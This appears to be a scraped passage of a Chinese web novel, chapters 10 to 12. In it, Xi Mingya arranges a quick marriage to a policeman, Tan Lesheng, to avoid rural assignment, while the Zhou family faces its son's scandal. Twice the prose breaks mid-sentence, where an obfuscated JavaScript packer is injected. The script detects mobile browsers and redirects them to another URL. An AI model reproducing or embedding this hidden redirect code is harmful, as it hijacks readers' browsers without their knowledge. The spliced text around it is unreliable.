第二天就有人暗戳戳找奚苏华两口子打听,没问出个所以然。直到周家突然办喜事,见到新娘子,众人才明白这就是后话了。 而现在。 刚从闺女嘴里知道咋回事的董桂花两口子震惊得下巴掉地上了。 “呃,呃……真有那事?” “那他们家太能藏了,周威迟早吃牢饭去。” “不止,我看周副厂长也要被连累,生儿不教,儿子坏事干那么多,父母帮着瞒天过海,迟早遭报应。” 夫妻俩压低声音咒骂。 奚明亚则周身被低气压裹着,垮着脸进屋,麻木地把被子往头上一盖。 她把自己缩在被单里,拼命喊停。 大脑却仍旧不断钻出一些乱七八糟的“画面”,一副副恶心人的面孔不间断对她发出精神攻击。 啊啊啊啊。 烦死了!!!! 同时,槐花街61号小跨院也有人睡不着。 谭文宣在饭桌上知道小叔相看成功,明天要上门拜访的消息,人直接傻了。 他知道迎来小婶是迟早的事。但没料到会这么快。 想抗议,又不敢。 毕竟搁一个月前,他甚至不知道小叔的存在,可他跟弟弟却对姑姑很熟悉。 谭文宣感觉得出这是不正常的,他甚至怀疑过自家是不是跟小叔不睦。所以他无法像弟弟妹妹那样很自然地亲近小叔,跟小叔撒娇。 而弟弟妹妹们…… 谭文宣苦着脸,瞥了瞥身旁睡得四仰八叉的三小只。 无奈叹息。 弟弟妹妹太笨了。 自己说了好多遍有小婶不好,小婶就跟后妈是一样的,大家要齐心协议反对小叔娶老婆。 他们答应得好好的,却总是关键时候掉链子。 哎。 愁人~~~~ 10. 第 10 章 欧阳眉一路上都在想奚明亚为什么知道儿子跟谢红珍的事。 中途还跌了一跤。 老胳膊老腿疼的呀,她又气愤,又委屈。 回屋看到周威顶着猪头,翘着二郎腿听广播,火更是不打一处来。上去摁掉开关,往他胳膊上狠狠打了一巴掌,“你爸还没回来?” “回来过,又到许伯伯家谈事去了。” “妈,怎么样,收拾她没?” 他不说还好,一说,欧阳眉今天受到的闲气和憋屈全撒他身上了。 “还收拾她?我收拾你。” “说,你是不是还在跟谢红珍来往?” 听到谢红珍这个名字,周威兴奋微敛,眼神心虚躲闪:“怎么突然说起她?没来往啊,你不是不许我娶她吗?我跟她早就不来往了。” “撒谎。” 知子莫过母。 周威一撅屁股欧阳眉就知道他憋什么屁。“你最好现在交代清楚,不然事情闹出来我看你怎么办?” 周威最烦父母管他。 心虚很快被不耐烦取代:“说了没有就没有,你怎么那么啰嗦,烦死了。” “你什么态度,你就是这么对你妈的?” “我又怎么对你了?” “我被人打你不替我报仇还训我,谢红珍都多久的老黄历了,还拿出来念叨,你是我亲妈还是见不得我好的仇人啊?” 欧阳眉简直不敢相信自己的耳朵。 她不明白,小时候那么乖巧听话的孩子,怎么变成了现在这样。 她怎么不护着他了? 下班进屋知道他被奚明亚勾着送上门找打,立马就要去找不识抬举的奚家人算账。 只是丈夫周广申拦着不让去。 说这不是啥光彩事。 如果因为亲事谈不成就去找人麻烦,影响家里名声,叫人以为他们要仗势欺人。 等丈夫一出门,欧阳眉还是马不停蹄找说法去了。 自己擦不完的屁股。 受不完的气。 听不完的埋怨…… 落儿子眼里却是不护着他,不是亲妈? 欧阳眉气得嘴唇颤抖。 真想调头就走再也不管。但再气再痛苦,都不能不管。毕竟是自己身上掉下的一块肉啊。 她绷着脸,决定说得更直白些,“谢红珍敢举报继父亲妈,她这人很没有底线。你最好说的是真的,否则闹出什么事,你爸保不住你。” 周威撇嘴。 哪有那么夸张? 从前那么多次都说保不住,不照样没事吗? “那奚明亚呢?” “妈,你帮我把她娶回家里,我保证以后不让你操心,她敢看不起我,我偏要让她嫁过来好好折磨她,让她付出代价。” 欧阳眉见他不当回事。 心里涌出浓浓的悲哀和挫败。闭目,深呼吸,“别想了,这事不成。” 周威错愕。 欧阳眉:“她知道你跟谢红珍的事。” 周威瞪大眼,惊住了,“什么?这个她也知道?” “也?” 周威:“……” 面对亲妈紧逼不舍的目光,周威心里乱糟糟的,语气依然不耐烦:“就,就十年前那事,她也知道。” 欧阳眉茫然。 这些年周威闯的祸太多了。 尤其是男女关系上的,她帮着擦屁股的次数太频繁,以至于第一时间欧阳眉压根没想起来是哪一桩。 好一会儿,她终于记起来了。 表情顿时变得凝重,“她从哪儿听说的?当年知道的那几家咱们都拿钱让他们闭嘴了,那女同学也安排到镇上当老师……” 等等,有一个人知道。 就是将周威扒干净五花大绑吊在公厕柱子上的人。 “我明白了,是奚苏华干的。” “好你个奚苏华,好你个董桂花!” 难怪自己主动示好露了结亲的的意图,董桂花完全不接茬。 欧阳眉脸上一会儿青一会儿红。 这脸,是真的丢大了。 周威却有自己的看法。“不,妈,肯定是奚明亚干的。” “胡说。她当年才八九岁,哪有那么大能耐把你打晕吊起来。” “她真的有,今天她用两根手指就把我手腕差点捏断了。” “……不是喊的人?” “……” 周威摇头,“就她一个。” 他小看奚明亚了。 那抬手踹腿看着软绵绵,花拳绣腿似的,落身上就是一座山,就是化骨掌,掌掌打得人吐血。 下午他也以为当年是奚家人在场。 现在他不这么想了,分明就是奚明亚知道的比别人都多。 “……” 母子俩面面相觑。 一时间,屋里安静得吓人。 不知过了多久,周威大概意识到什么,突然坦白:“妈,谢红珍有我的孩子。” “啪!” “那你还敢娶奚明亚?也不怕她把你搞破鞋的事嚷出去,送你一颗花生米。” “……” 周威这次没敢狡辩。 他想娶奚明亚不是为了情啊爱啊。 纯粹是学历长相都拿得出手,让他有面子。 加上奚苏华两口子都是棉纺厂工人,他觉得家里能拿捏对方,任他予取予求。没办法,谁让谢红珍最近正闹着呢,非让他把孩子带回来认祖归宗。 棉纺厂外各方面不错的姑娘,人家能忍气吞声? 这才盯上了奚明亚。 说白了。 想要的太多。 美人想要,面子想要,孩子也想要! 就是算差了一点。人家平日不声不响,内里竟是长了獠牙的,狠狠给他上了一课。 **** 周广申黑着脸想了一宿,第二天就催欧阳眉赶紧把周威和谢红珍的事办了。 还叮嘱不许再去找奚家闹。 欧阳眉不情愿。 周广申无奈,险些破口大骂:“找什么理,你有啥理?你晓得她知道得多你还闹,生怕日子过得太好是吧?人家早就知道了,也没往外传,证明奚苏华一家不想沾你儿子的事。你这会儿再闹,别把人逼急了给你和周威贴大字报。” 欧阳眉大惊:“他们敢?” “凭啥不敢?你不给人太平日子过,人家还得让着你?” “你还真把自己当大官太太了?啥年代了,欧阳眉!你再这样糊涂,咱俩离婚,你跟儿子过。” 欧阳眉顿时慌了,“听你的,我都听你的还不成吗?” 她嘴上应得爽快,实则拖拖拉拉。 不找奚家麻烦她做到了,但让周威跟谢红珍结婚这事,欧阳眉满心不情愿。 那姑娘心狠啊。 为留城登报断亲不够,还把爹妈全举报了。爹不是亲爹,妈总是亲的,弟弟总是亲的吧,人家不管,扬言为了革命大义灭亲。 欧阳眉哪敢让这种脾性的进门,当年就找人给她报了下乡。 没想到她运道好。 就分配在周边农村,这跟没下乡有啥区别? 还跟周威搞出孩子。 还不是一个! 养着一个,肚子里揣着一个…… 周家鸡飞狗跳,愁云惨雾。 始作俑者的奚明亚这一晚睡得格外香甜。 次日清晨,隔壁院子的公鸡开始喔喔打鸣,一家子陆陆续续起床。 洗漱完,奚明亚就到副食品供销社取昨天定好的肉和鱼。取完又跑到城郊集市买了几根莲藕、三条丝瓜,两个大南瓜。 而家里几个,擦桌的擦桌,掸灰的掸灰,连院子都全扫了一遍。 整个拥挤杂乱的六号院被收拾得干干净净。 “哟董大炮,你们家转性了啊?” “怪稀罕的,不专门扫你们家门口那一小块了?”刘桂花揶揄。 董桂花今天没变炮仗。 对着老对头虽没个笑脸,但也没针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12105110|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖麦芒,满面喜气藏都藏不住。 “新女婿头回上门,你们就跟着占便宜了,明儿个可别想我帮你们扫院子。” 六号院不大。 方方正正的院子东角加盖这家的灶房,西块盖那家的,每家门前还围上一小段种蒜葱,配上牵得乱七八糟的晾衣绳,所以整个院子就显得乱糟糟。 尤其是水槽那一块。 大家刷碗刷锅都在那儿,有的讲究点,会清理干净,有的人譬如刘桂花,每次刷完自家的抬起屁股就走人,水槽和石板的垃圾,污渍从不清理。 时日一长,难免脏乱邋遢。 不过话又说回来,这年头大伙儿炒菜用油都靠“滴”来计算,再邋遢也很有限。 刘桂花撇嘴。 就你有女婿,显摆啥显摆。 “那的确沾你女婿的光了。董大炮,你们家大丫连周厂长家的都看不上,那公安条件得多好啊,让我见识见识呀。” “着什么急,人来了不就知道了?反正比你家二女婿强。” 董桂花看看干干净净的门框格子窗,满意地点点头。 刘桂花:…… 嚯,今天她还真就不出门了,非得看看那小伙子哪里强。 差不多九点左右,谭乐生到了。 推着自行车进院子便受到了来自各方的目光洗礼。 “董大炮,这是你女婿吧?” 刘桂花上下打量谭乐生,边打量边发出啧啧声,“小伙子,听说你是公安啊,多大啊,咋选进去的?” 看着跟学生差不多。 这年龄能进公安局,怕是家里长辈关系厚,不好,董大炮又要得意上了。 谭乐生一张娃娃脸。 脸上稍微带点笑就露出一对酒窝来,无害,亲和力强,没这个年龄常有的这样那样的犟种脾气,看着就特别讨人喜欢。 刘桂花都没注意到自己不知不觉收敛了刻薄,温和亲切到陌生。 “你这个头跟奚家大丫倒是挺配的。” 谭乐生说自己二十五。 别说刘桂花瞪眼,朱大姐、蒋大爷他们也觉得不可思议。 这男同志只看脸的话顶多十七八岁。 皮肤比一般男同志白,没胡渣,好在五官硬朗正气,没有过分阴柔。否则娃娃脸配上没什么棱角的五官,肯定要被人说成二椅子。 “小谭公安,先进屋坐。” 董桂花出来迎人,伸手要接谭乐生两手拎着的东西。 “阿姨,有点重,我自己拎就好。” “小伙子,你这都带了些什么啊?”朱大姐盯着袋子,好奇问。 谭乐生笑笑,“一些酒什么的。” 奚明美奚明春正好端着花生和胡豆出来,“刘阿姨,朱阿姨,蒋爷爷……吃着玩儿啊。” 龙凤胎姐弟好奇地看着谭乐生,以及他手里的袋子。“妈,先让姐夫把东西放进屋啊。” 一开口就是很突兀的“姐夫”,不用看就知道是奚明春那个臭小子。 董桂花脸一黑,瞪了皮猴似的小儿子一眼,转头看向谭乐生:“臭小子是明春,家里的老四。” “旁边那黄毛小丫头是老三明美。” “走走走,咱先进屋。” “进啥屋,你屋里那点位置都不够我们挤的,让小谭在院子里跟大伙儿聊聊天呗。” “嗯,喜事大家一块乐一乐。” “大丫呢,咋没出来,不会是害臊了吧?” “去去去,吃你们的花生胡豆去,今儿个不许捣乱啊,不然你们家谈喜事时我也去你们屋里当柱子。” 这话逗得大伙儿嘎嘎乐。 “成,不捣乱。” 话是这样讲,刘桂花却没回屋,时不时往奚家堂屋里看一眼。 边看边跟朱大姐念叨,“他们家这新女婿不懂事啊,头回上门也不带个长辈在身边,一会儿谈彩礼嫁妆他自己上?” “那就惨咯,这小伙子一看就腼腆好说话的样子,估计要被董大炮敲一个大竹杠。” 11. 第 11 章 谭乐生跟在董桂花身后进屋放下东西。 董桂花:“家里小,别介意啊。” 奚家一家六口住两间屋,每间约三米宽,进深六米。其中一间用木板隔成了里外两间,外面带窗的明亚明美住,里面完全没光的是两兄弟住的。 而另一间就划分成了堂屋加董桂花两口子卧室的格局,中间只拉了一道布帘。 堂屋里摆着一张八仙桌。 左侧墙上加装了木格子窗,右侧摆着一排柜子,杂七杂八的东西一挤,就显得整个空间分外逼仄。 实际上,董桂花这话属实谦虚。 他们家的居住环境在眼下城里家庭里顶多是常态,算不得特别差,甚至比许多住筒子楼的强。 谭乐生目光落在矮柜那面墙。 ——满满的奖状。 大部分是奚明亚的。 他眼睛亮了亮,赞赏道:“奚同志很厉害。” 自上次见面浅谈后,他就意识到对方不错,但还是低估了她的优秀。 佩服之后,内心涌出来的便是遗憾。 可惜了。 如果大学不是只能靠推荐,这时候她应该在深造才对。 “她打小就争气,三四岁,那么小小的一团,就会自己看报纸了,我和她爸以为她抓着玩呢,结果她爸抱着她读一遍,她就真的认得字,奶声奶气的复述,那模样别提多招人疼了。打认字后,明亚的学习就没让我们操心过,什么书看一遍就记得,她爸经常跟人炫耀家里要出一个状元,结果书没得念,附近厂子也不招工……” “嗐,扯远了。小谭,你直接喊她名字就好,你俩都要结婚了还天天同志同志的,多生疏啊。” 董桂花脸上写满了骄傲。 谭乐生始终面带笑容听着,“阿姨,我喜欢听你讲奚同……明亚的事。” “那敢情好,等她爸到家,能说到你烦。” 今天奚苏华本来轮休。 结果一车间机器就出了故障,早饭没吃火急火燎回厂里排查机器了。直到中午,他也没能回来。 同样没回来的还有奚明冬。 不晓得在哪条街搞“劳动课”呢。 董桂花:“没事,以后见面的时候多着呢,槐花街离棉纺厂不远,踩自行车也就十几分钟。” “是挺近的。” 两人没说一会儿,奚明亚拎着东西回来了。 “你来啦~~” 她神色如常跟谭乐生打了个招呼,“妈,副食品店有人闹事,就耽误了会儿。” “你坐,我去帮忙。” 说完跟着董桂花到厨房忙活。 被董桂花赶了出来,“你爸不在,我要做饭,你不陪客谁陪?” 这就是亲戚少的不便之处了,“不然我跟小谭聊,你来做饭?” 奚明亚闻言,忙摆手:“那还是妈你来。”董桂花睇大闺女。眼神好似在说:你还挺有自知之明。 奚明亚咧嘴,讨好笑笑。 自个儿那鬼见愁的厨艺哪敢现在就露相,多劝退人啊。 等上了饭桌。 奚明亚主动给谭乐生夹了筷排骨,“别拘束,该吃吃,该喝喝。” 董桂花迅速瞟了谭乐生一眼。 偷偷瞪大闺女。 怎么说话呢! 姑娘家家的,没心没肺,一点不害臊。 “对,你就把这里当自己家,千万别客气。”瞪完人,董桂花乐呵呵道。 “阿姨,我会的。” 谭乐生失笑,没想到让女同志先主动上了。 他注意到奚明亚夹得最多的酸菜鱼,便夹了一块刺最少的部分搁她碗里。 两人对视一眼,又在同一时间收回视线。 “小谭啊,彩礼和嫁妆你是怎么想的?” 二十多年前董桂花嫁到城里没嫁妆彩礼的事。 那会子刚解放。 她跟老奚见了一面,回头自己拎着小包袱进城了。没有请客,甚至很长一段时间都不知道要领证,两人就这样生儿育女扶持着过了大半辈子。 自己被刘桂花说了十几二十年光着脚光着脸进院子,一吵架便说她没嫁妆没彩礼,命贱…… 董桂花不希望女儿以后也被槐花街的人那样说。 虽说如今倡导节俭。 她不指望三转一响凑齐,但好歹得凑个大件。如此一来,家里再陪嫁辆自行车,大闺女面子里子就都有了。 “阿姨,我家里没个长辈,结婚的事我也不太懂。您看除了三转一响、彩礼六百,还需要准备些什么?” “!!!” 整桌人下意识屏住呼吸。 六百…… 小谭公安原来还是个大户?! 奚明春看看谭乐生,再看看面不改色吃饭的大姐,顿时佩服得五体投地。 他大姐的眼光实在毒辣啊,居然那么早就看出谭公安比吴庆年有钱。 佩服,佩服! 董桂花也很意外,翠屏妈只说男方各方面不比吴庆年差,倒是没想到人家家底如此厚。 董桂花惊讶完,先是担心齐大非偶,很快又淡定下来变成全然欢喜。 穷有穷的过法,富有富的讲究,彩礼这东西是没个定数的。 城里彩礼一百到一千都有。 之前欧阳眉放话要给女方家里四百八彩礼在大家眼里就已经是大手笔了。 好些人羡慕得不得了,明里暗里酸她,说大闺女即将飞上枝头变凤凰。 后来听说明亚要嫁大盖帽,各个痛心疾首。 说孩子没眼光不会挑人,还说她和老奚也不管管,由着女儿任性,日后怕是后悔不迭,以泪洗面…… 董桂花本就对大女儿那不是后妈胜似后妈的婚姻担忧,再被泼这么大盆冷水,能心情好才怪呢。 只是她这人呢心里再憋屈再愁,面上都高高兴兴的。 对亲事的不满真是一点没带出来。 这下好了。 谭公安家境殷实,人也清风明月端端正正,工作更是体面。 ‘贫贱夫妻百事哀’这点算是避开了,董桂花对谭乐生的印象瞬间就从70分拔高到了90分。 不过她还是不放心地确认了一下。 “三转一响挺好,现钱会不会多了点?” “小谭,过日子得讲究细水长流,没必要为了一时面子好看,就把所有家底都掏出来,阿姨跟你奚叔叔不是那种好面儿的人,阿姨说的你明白吗?” 谭乐生点头。 明白,怎么不明白。 无非是担心他东借西借弄这么多彩礼,到时候还得让奚明亚跟着自己去还债,玩一出左手倒右手的把戏。 “阿姨你放心,我十五岁进部队,今年转业,在部队待了十年。这十年的津贴、立功后的奖金,除去一部分捐助给烈士后代,别的都攒着的。” 谭乐生态度诚恳。 向董桂花保证:“明亚嫁给我,我肯定不会让她吃苦,以后家里的财政大权都由她管。” 这下董桂花是彻底放心了。 嘴上却很向着他的样子:“不能这么讲,她花钱没定数,你不能全由着她。两口子过日子得有商有量,这样才能都舒坦,才能越过越好。” “妈,你又揭我短,过分了啊~~”奚明亚撒娇。 看向谭乐生时则递过去一个赞赏的眼神——别信我妈的,你刚刚说得好,我喜欢! 谭乐生不由得哂笑。 “缝纫机算了,我不会用,别白花钱买一个铁疙瘩回来吃灰。” “收音机可以有,手表也可以有,自行车家里给买。” 她眨眨眼,眉目漂亮清澈。右边额头处的刘海倔强翘起,乱得很生动。 谭乐生眸光深邃,被她瞧得心跳有点不受控制,耳根悄咪咪红了。 “那换成别的?” “你有什么想要的吗?” “什么都可以?” 谭乐生点头。 奚明亚侧首,没有一丝不好意思,笑得大方明媚,“你那院子有多大,有厕所吗?我想要能冲澡的厕所。” 长这么大,要论什么事让她最不满意,那必然是上厕所洗澡。 尤其是冬日夜里上厕所,那才叫折磨人。离家里最近的公厕在一号院附近,每次膀胱都快炸了还得走上五六分钟,起一次夜人跟死了一遍差不多。 至于洗澡…… 冬天还将就,她能蹭爸妈厂里发的洗澡票,十天半个月洗一次完全没问题。 但夏天恼火啊,洗澡票不够用。 又不能不洗澡。 只能端着盆在屋里擦,每次擦完,地上就湿漉漉的。 大杂院不方便的地方又多。 家家都不爱关门,一关门人家就觉得有啥见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12105111|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得人的事,每次擦个澡还得叫妹妹放风。 以后总不能让谭乐生放风……吧?! 想到这儿,脑子里不由自主浮现出谭乐生跟门神似地杵在屋外站岗的样子,傻乎乎的。 奚明亚表情微妙。 谭乐生没发现,只认真说:“有的,我母亲讲究,跨院很早前就建了单独的洗澡房和厕所。” 其实二进院原本也有厕所。 只是住进去的人多,事也就多了。 一开始大家觉得不用跑公共厕所很方便,渐渐地,各家各户为了多占点地方,从前精心养护的花坛、小池子都被填平了。 加上总有人上完茅坑不搞卫生。 不仅尿渍溅得墙上到处都是,屎偶尔还落蹲坑外,一到夏天,那个区域全是黑压压的苍蝇,味儿就更甭提了,熏得整个二进院的住户头晕眼花。这厕所就被推平种菜了。 奚明亚听到有厕所,双眸霎时像染上一层金粉,闪闪发光。 “那我暂时没有其他想要的了。” “部队发的票不限时间,全国通用,工业票我攒了不少,你可以慢慢想。” 如果不够,他也能找从前的战友们换,总归不会缺。 “好啊。” 奚明亚答得爽快。 心里却在琢磨兑换商城中一看就特别“高科技”的商品。 有对比后,她眼界无限拔高。 现在已经瞧不上第一百货那些笨重还贵得离谱电器了。 不过这一琢磨,立马产生了新问题。结了婚,就得两个人住一块。自己的吃穿用度全暴露在谭乐生的眼皮子底下…… 还能享受吗? 如果不能享受系统的新奇玩意儿,养崽再顺利积分再多,就算攒下一个仓库的货,不也白瞎了吗? 呃…… 不若领完证找机会跟他商量分开睡培养感情的事? 反正公安平时都很忙,应该没多少时间回家。 这个念头刚出,奚明亚先自己否定了。 这是真结婚不是假结婚。 领证的时候猴急,领完又闹别扭说培养感情,别说谭乐生怎么想,她都觉得自个儿在发癫。 算了。 顺其自然,反正好东西花费的积分也多,一时半会本来就换不出来。 眼下还是领证最要紧。 “知青办大概很快要来催我,我们需要尽快领证。” “好,明早我把东西送来,下午就去民政局领证,后天一早我来接你到槐花街。” “没问题。” 双方都不是拖泥带水的性格。 三言两语就把一切都确定好了。董桂花几次想插话,又不知道说什么。 等她纠结来纠结去,奚明亚跟谭乐生都说到酒席的事了。 “不请客啊?” “还是得请一顿吧。”董桂花说。 奚明亚摇头:“现在倡导勤俭节约,婚事简办很正常。我们紧跟朴素思想,根正苗红挺好的。” “小谭公安,你明天来时带些糖果点心分给街坊邻居们。” “好。”谭乐生总觉得这声“小谭公安”满是调侃。 他摸摸发烫的耳朵。 眉眼含笑:“我叫你明亚,你叫我乐生吧。” 奚明亚:…… “……知道了,乐、乐生。” “嗯,谭乐生!” 唔,好像有点怪怪的。 奚明亚搓了搓手腕,鸡皮疙瘩出来了。莫非是喊的太少了?? 她胡思乱想着。 微微侧首,偷偷瞄了眼坐在旁边的谭乐生,谭乐生也正看着她。 她彷佛被灼伤一般。 咻一下扭头看向另一边的明春,颇有些欲盖弥彰的味道,虎着脸凶过去:“筷子挑来戳去干嘛呢,别人还吃不吃了?” 突然挨骂的奚明春:“……” 又怎么了,我的大小姐? 不就是挑了块肉吗? 他没敢抗议。 缩了缩脖子,往明美方向靠了靠,明美嫌弃地往旁边挪了挪,幸灾乐祸建议:“姐,今天你别打大春,留着下回打。” 奚明亚哼了声。 回头,眼角余光就注意到谭乐生上扬的嘴角,他似乎在看自己。 意识到这点心忽然又砰砰跳了几下,涌起一股莫名的情绪,一阵兵荒马乱。 12.第 12 章 远在鄂都林场的邬晓曼半夜从睡梦中惊醒。 她茫然地看着身旁睡得跟死猪一样的男人,下意识摸了摸青紫的眼角和下巴,忍不住发出“嘶”的一声。 熬到次日,她第一次什么也不交代就回了娘家。 “娘,我儿子在部队,还是在哪?” 邬晓曼肿着眼,劈头盖脸问过去。 “怎么了这是?” 邓婆子不解,“做什么突然问起他们,小袁可不喜欢你跟前头夫家的人有联系。” “大妹,娘说得对,你既然嫁了袁孝平就好好对待他的儿女,安安心心给他打理家务,别去惦记别的了。你还年轻,想要自己的孩子的话,又不是不能再生。” “等怀上孩子彻底在袁家站稳脚跟,袁孝平一家得把你当成祖宗。” “晓曼,你都三十出头的人了,别任性。” “……” 邬晓曼还没说什么,倒被娘家先说了一通。 本就愤懑的心情愈发压抑不住了。 “他不喜欢,你们就在乎他喜不喜欢?娘,爹,大哥大嫂,你们都不问我脸上的伤怎么来的吗?你们是看见了当看不见是不是?” 邬家众人脸色倏变。 被当众戳破这点,脸色是个顶个的难堪。 邬老头抽着水烟,沉默许久。 抬起浑浊精明的双眼,“大妹,床头打架床尾和,两口子打打闹闹很正常,不问是怕问了你没面子。你连个男人都拢不住,光跑家里撒气有什么用?” “就是呀。” “你男人一天忙着呢,家里的事你如果办得妥妥当当,他哪有心跟你打架?” 邬晓曼错愕地望着齐齐点头的家人,忽然开始怀疑以前说的那些话是不是全是哄她的。 什么舍不得她离家远。 什么孩子拖累她,他们舍不得。 什么袁孝平能保她衣食无忧、下半辈子富富贵贵…… 假的,全是假的。 邬晓曼冷下脸,“爹,娘,你们不必扯那么远,我只是想问一下文明文宣跟他小叔在部队还是在哪里?” 这次沉默得更久了。 “回老家了。” 得了准话,邬晓曼不再跟娘家人聊二婚后的委屈,她现在恨死他们了。 拔腿回到林场便要去开请假条和介绍信,走到半道,想了想,又转身回去了。 只是给关阳的大儿子去了封信。 她是哭着回邬家的。 才半天功夫,就有好多人跑去问袁孝平是不是跟邬晓曼闹了矛盾。 当晚,邬晓曼就又挨了好几个耳刮子。 这次她彻底爆发了。 指着袁孝平破口大骂,把二嫁以来所有的委屈全发泄出来。 连娘家都被她骂了个遍。 也该骂。 前夫谭民生的抚恤金有一半花在大哥调岗上,她嫁给袁孝平没多久,嫂子也安排进林场成了临时工。 现在自己没有利用价值,他们就万事不管了…… 邬晓曼更气自己蠢,不该轻易被娘家的糖衣炮弹蛊惑,放弃孩子,放弃婆婆住的那个小院子。 按理来说。 她丈夫民生是老大,应该分大头,民生死了还有他们的孩子文宣和文明。 当时事情发生得太突然。 她脑子太懵,才会听了娘家爹妈的撺掇。 怕计较太多、牵扯太深甩不开两个孩子,妨碍后半辈子的幸福。 这才没问那院子究竟怎么安排的。但现在,房子无疑成了她的退路。 邬晓曼不想天天挨打,她要去争取自己的权益,不,为儿子争取属于他们的东西。 自以为有了退路的邬晓曼当场跟袁孝平互殴成一团,混乱中还趁势把平日里跟她作对的继子继女也打了。 以一对三,惨得很。 她干脆顶着浑身的伤,大半夜敲响了林场妇联主任的门,要求跟袁孝平离婚。 另一边。 奚苏华和奚明冬回家,听了家里人对谭乐生的看法,两人总算放心不少。 第二天,奚苏华特意请了半天假,总算见到了妻子夸个不停的谭乐生。 当即啧了一声。 很小声地自言自语:“嘴上没毛,办事不牢。” 谭乐生当兵出身,听觉出众。 奚父再小声,他也听得清清楚楚,更别提那挑剔的眼神跟长满了刺似的,疯狂往他身上扎扎扎。 他神色未变,温温和和地笑着打招呼。 “叔叔,不知道您喜欢什么,我就多带了一个过来,下了班可以听听广播放松心情。” 他怀里抱着两个收音机。 一个扎了红带子,一个没扎,两个收音机一银一黑。臂弯还挎着军绿色的包,包里是奚明亚交代的糖、点心,以及几包烟和钱。 “明亚,我来了。” 奚明亚刚起床,打着哈欠,揉吧着脸颊走过来,“咦,红灯711?” 许是刚醒,她嗓子不像之前那样清亮,微微沙哑,宛若手指搓沙,莫名挠人。 “嗯,沪市货。” 这时候沪市货就代表了高级货。 像照相机就要用海鸥牌,收音机就要红灯,缝纫机当属蝴蝶牌……能数得出名的牌子,大部分是沪市的,家里有个一件两件,嚯,可招人羡慕了。 这不,一听谭乐生来了,不用上班的刘桂花、朱大姐和蒋大爷几个摇着蒲扇围了过来。 刘桂花一瞧那两个崭新崭新的黑匣子,酸得眼睛都发绿了,“奚老焉儿,你这是享上福了呀。” “你家早享福十年了,还不兴我也享啊?” 奚苏华笑眯眯地回了一句。 噎得刘桂花直翻白眼,“那我没你们有福,你女儿金贵些,随手扒拉个女婿都能送你们收音机,羡慕死个人了,以后也不愁了吧,大丫指定拼命往家里扒拉好处。” 边说边给谭乐生使眼色。 谭乐生:“……” 奚明亚懒得听他们互相内涵,伸手拽谭乐生胳膊,把他往屋里拉。 谭乐生愣了一下。 胳膊处的温度不断攀升,他目光落在对方白皙纤长的手指上,微微走神,脚下却一点没打磕巴,顺着奚明亚的力道往前。 他们一走。 等着摸摸收音机,摆弄两下的蒋大爷和奚苏华也跟进屋。 他们进去了,朱大姐和刘桂花对视一眼,也默契地跟过去凑热闹。 奚明亚一看,屁股后头跟了一串。 得,白把人分开了。 她叹了口气,无奈扶额:“我回屋换衣服,等我两分钟。” 谭乐生:“你慢慢来,不着急。” 刘桂花挤眉弄眼:“你跟大丫要出门逛公园啊?” “不是,去开介绍信领证。” 朱大姐惊讶:“这么快?”问完她自己就想到原因了,嗐,还是为了下乡那事。 刘桂花也想到这一层。 撇撇嘴,又羡慕又发愁,“也不知道什么时候才能允许插队知青回城,我家大丫今年25,已经是老姑娘了,再不回来就得砸手里,总不能真让她找个泥腿子嫁了……” 别人家越是喜气盈盈,刘桂花就越酸,寻了借口就要回去。 朱大姐还想听听收音机。 可屋里就剩三个大老爷们,她一个女同志杵在这儿显得很尴尬,便拽着刘桂花不让她走,“你不看看除了收音机,小谭还带了什么来?” 刘桂花顿住脚,不说出去了。 她这人闲不住嘴,安静一会儿就要开始作妖讨人嫌。 “小谭,买了收音机,没买自行车?你们结得这么急,三十六条腿准备好了吗?” 奚苏华皱眉:“刘烂嘴,你家二丫头出嫁别说收音机自行车,连床铺盖你都没准备,还有空管我家闲事啊。” “问问噻,董桂花炫耀你们得了个好女婿,我就想知道有多好,别是她打肿脸充胖子。” “奚老焉儿,你说你一大老爷们,天天帮你家董桂花跟我们扯嘴皮子,你跟我们这些老娘们有啥区别?” 刘桂花就不明白了,自来干架都是女人的事。 谁家老爷们总跟女的逞嘴上功夫啊,不嫌跌份。 奚苏华哼一声,懒得搭理她。 谭乐生看出两家不大对付,心念转了两圈,“咳”了一声。佯装忽然想起什么,打开绿色帆布包,满满一兜子糖。 还是大白兔呢。 朱大姐和刘桂花顿时忘了三十六条腿的事,笑得满脸褶子跟朵菊花似的,等着接喜糖。 谭乐生一人抓了一把:“忘了给大家喜糖了。” “叔叔,蒋大爷,来根烟?” 散完东西,他特地将原本打算等董桂花下班再给的存折掏了出来,“叔叔,这是给明亚的。” 奚苏华还没接。 存折先一步被离得近的刘桂花夺了过去,也是谭乐生手上故意没用劲儿,她才能轻易夺过去。 刘桂花翻开一瞅,登时倒吸一口凉气。 朱大姐见她说不出话,反复被什么镇住的样子,按捺不住好奇凑了过去。 瞳孔同样瞬间放大了。 整整一千块! 是她们见识少,还从没见过哪家新郎官出手就是一千彩礼呢。 家底这么丰厚的小伙子,不显山不露水,怎么之前一点没传出消息啊? 要是跟自家姑娘看对眼,一千块彩礼给自己多好…… 两人成功把自己酸成了柠檬。 奚苏华瞥了眼“新女婿”无害的笑容。暗骂看走眼,这哪是妻子嘴里的没心眼的实诚小伙,分明明白得很。 